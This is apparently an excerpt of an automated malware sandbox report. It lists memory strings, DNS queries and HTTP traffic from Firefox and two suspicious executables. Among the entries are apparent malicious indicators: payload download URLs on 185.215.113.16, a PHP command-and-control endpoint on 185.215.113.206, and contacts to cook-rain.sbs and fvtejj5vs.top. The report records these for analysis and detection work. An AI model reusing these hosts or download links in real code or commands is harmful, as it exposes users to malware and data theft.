Source: firefox.exe, 0000001B.00000003.2658257658.00000283C91FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: devtools/client/framework/devtools-browserDevTools telemetry entry point failed: @mozilla.org/network/protocol;1?name=defaultresource://devtools/server/devtools-server.jsFailed to listen. Listener already attached.Got invalid request to save JSON dataUnable to start devtools server on Failed to execute WebChannel callback:devtools/client/framework/devtoolsbrowser.fixup.dns_first_for_single_words^([a-z+.-]+:\/{0,3})([^\/@]+@).+^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?browser.fixup.domainsuffixwhitelist.WebChannel/this._originCheckCallbackdevtools.performance.recording.ui-base-urlDevToolsStartup.jsm:handleDebuggerFlagbrowser.urlbar.dnsResolveFullyQualifiedNamesNo callback set for this channel.get FIXUP_FLAGS_MAKE_ALTERNATE_URIFailed to listen. Callback argument missing.{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}get FIXUP_FLAG_FORCE_ALTERNATE_URIJSON Viewer's onSave failed in startPersistence@mozilla.org/uriloader/handler-service;1devtools.debugger.remote-websocket^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPdevtools.performance.popup.feature-flagreleaseDistinctSystemPrincipalLoaderresource://devtools/shared/security/socket.js@mozilla.org/dom/slow-script-debug;1@mozilla.org/network/protocol;1?name=fileresource://gre/modules/ExtHandlerService.sys.mjsisDownloadsImprovementsAlreadyMigrated@mozilla.org/network/file-input-stream;1resource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1{33d75835-722f-42c0-89cc-44f328e56a86}extractScheme/fixupChangedProtocol<resource://gre/modules/JSONFile.sys.mjshttp://poczta.interia.pl/mh/?mailto=%shttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/NetUtil.sys.mjsresource://gre/modules/JSONFile.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/DeferredTask.sys.mjshttps://poczta.interia.pl/mh/?mailto=%sCan't invoke URIFixup in the content processhttps://mail.inbox.lv/compose?to=%sScheme should be either http or httpshttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/FileUtils.sys.mjs@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/web-handler-app;1resource://gre/modules/FileUtils.sys.mjshandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/dbus-handler-app;1_finalizeInternal/this._finalizePromise<resource://gre/modules/DeferredTask.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}_injectDefaultProtocolHandlersIfNeededgecko.handlerService.defaultHandlersVersionNon-zero amount of bytes must be specifiedhttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%s@mozilla.org/intl/converter-input-stream;1pdfjs.previousHandler.preferredActionhttps://mail.yandex.ru/compose?mailto=%snewChannel requires a single object argument@mozilla.org/network/input-stream-pump;1https://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.alwaysAskBeforeHandlingVALIDATE_DONT_
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp://ads.stickyadstv.com/auto-user-sync://www.facebook.com/platform/impression.phpaddons-search-detection%40mozilla.com:2.0.0resource://search-extensions/amazondotcom/amazondotcom%40search.mozilla.org:1.6wikipedia%40search.mozilla.org:1.3resource://builtin-addons/search-detection/resource://search-extensions/bing/resource://search-extensions/ddg/firefox-compact-light@mozilla.orgfirefox-compact-light%40mozilla.org:1.2addons-search-detection@mozilla.comfirefox-compact-dark%40mozilla.org:1.2resource://gre/modules/AsyncShutdown.sys.mjsresource://gre/modules/E10SUtils.sys.mjsresource://gre/modules/ExtensionDNR.sys.mjsresource://gre/modules/ExtensionDNRStore.sys.mjsfirefox-alpenglow%40mozilla.org:1.4resource://search-extensions/google/https://en.wikipedia.org/wiki/Special:Search*resource://search-extensions/wikipedia/resource://builtin-themes/alpenglow/8# equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2762153693.00000283C8C93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2762153693.00000283C8C93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2762153693.00000283C8C93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2732727225.00000283C2230000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2732727225.00000283C22D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2731953566.00000283C21CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731953566.00000283C213D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: home.fvtejj5vs.top
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: fvtejj5vs.top

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: firefox.exe, 0000001B.00000002.2710514692.00000283C0AA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: d657e56348.exe, 00000009.00000003.2808884939.00000000017F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: d657e56348.exe, 00000009.00000003.2808884939.00000000017F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/$:
Source: d657e56348.exe, 00000009.00000003.2808884939.00000000017F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/6:V
Source: d657e56348.exe, 00000007.00000002.2795985710.00000000012EE000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2807574466.00000000017FB000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2808884939.00000000017F1000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2809361765.0000000001805000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2835542410.00000000017F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: d657e56348.exe, 00000007.00000002.2795985710.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe8
Source: d657e56348.exe, 00000009.00000003.2807574466.00000000017FB000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2809361765.0000000001805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeg
Source: d657e56348.exe, 00000009.00000003.2808884939.00000000017F1000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2835542410.00000000017F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeh=V
Source: d657e56348.exe, 00000007.00000002.2793171068.000000000095A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: d657e56348.exe, 00000007.00000002.2795985710.0000000001332000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2726065382.0000000001332000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2808884939.00000000017F1000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2835542410.00000000017F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: d657e56348.exe, 00000009.00000003.2808884939.00000000017F1000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2835542410.00000000017F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeb=l
Source: 7208c9365d.exe, 00000008.00000002.2866992029.0000000000947000.00000040.00000001.01000000.0000000A.sdmp, 7208c9365d.exe, 00000008.00000002.2866992029.00000000008B4000.00000040.00000001.01000000.0000000A.sdmp, 7208c9365d.exe, 00000008.00000002.2866992029.0000000000864000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206
Source: 7208c9365d.exe, 00000008.00000002.2866992029.0000000000947000.00000040.00000001.01000000.0000000A.sdmp, 7208c9365d.exe, 00000008.00000002.2866992029.00000000008B4000.00000040.00000001.01000000.0000000A.sdmp, 7208c9365d.exe, 00000008.00000002.2866992029.0000000000864000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 7208c9365d.exe, 00000008.00000002.2866992029.0000000000947000.00000040.00000001.01000000.0000000A.sdmp, 7208c9365d.exe, 00000008.00000002.2866992029.00000000008B4000.00000040.00000001.01000000.0000000A.sdmp, 7208c9365d.exe, 00000008.00000002.2866992029.0000000000864000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpinit.exe
Source: 7208c9365d.exe, 00000008.00000002.2866992029.00000000008B4000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: 7208c9365d.exe, 00000008.00000002.2866992029.0000000000947000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpser
Source: 7208c9365d.exe, 00000008.00000002.2866992029.00000000008B4000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206GIE
Source: 7208c9365d.exe, 00000008.00000002.2866992029.0000000000947000.00000040.00000001.01000000.0000000A.sdmp, 7208c9365d.exe, 00000008.00000002.2866992029.00000000008B4000.00000040.00000001.01000000.0000000A.sdmp, 7208c9365d.exe, 00000008.00000002.2866992029.0000000000864000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: 7208c9365d.exe, 00000008.00000002.2866992029.0000000000864000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206Localcd1e95058c0bc44a840fe402935b44cf07f01ae7952.exe
Source: 7208c9365d.exe, 00000008.00000002.2866992029.0000000000947000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206s.exe
Source: d657e56348.exe, 00000007.00000003.2485248682.0000000005887000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2604964446.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733701658.00000283C26BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: d657e56348.exe, 00000007.00000003.2485248682.0000000005887000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2604964446.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733701658.00000283C26BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001B.00000002.2685493089.00000283BCD7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: d657e56348.exe, 00000007.00000003.2609132455.000000000139B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microx
Source: d657e56348.exe, 00000007.00000003.2485248682.0000000005887000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2604964446.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733701658.00000283C26BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: d657e56348.exe, 00000007.00000003.2485248682.0000000005887000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2604964446.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733701658.00000283C26BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: d657e56348.exe, 00000007.00000003.2485248682.0000000005887000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2604964446.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733701658.00000283C26BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: d657e56348.exe, 00000007.00000003.2485248682.0000000005887000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2604964446.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733701658.00000283C26BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: d657e56348.exe, 00000007.00000003.2485248682.0000000005887000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2604964446.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733701658.00000283C26BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2753800184.00000283C43DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2753800184.00000283C43B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C1680000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_PROXY_RESPONSE_HEADER_startDetection/
Source: firefox.exe, 0000001B.00000002.2762153693.00000283C8C93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F92000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2658257658.00000283C91C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001B.00000002.2682655007.00000283BC726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001B.00000002.2682655007.00000283BC761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times$
Source: firefox.exe, 0000001B.00000002.2682655007.00000283BC726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001B.00000002.2682655007.00000283BC761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001B.00000002.2682655007.00000283BC726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001B.00000002.2679974764.00000283B0F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsT
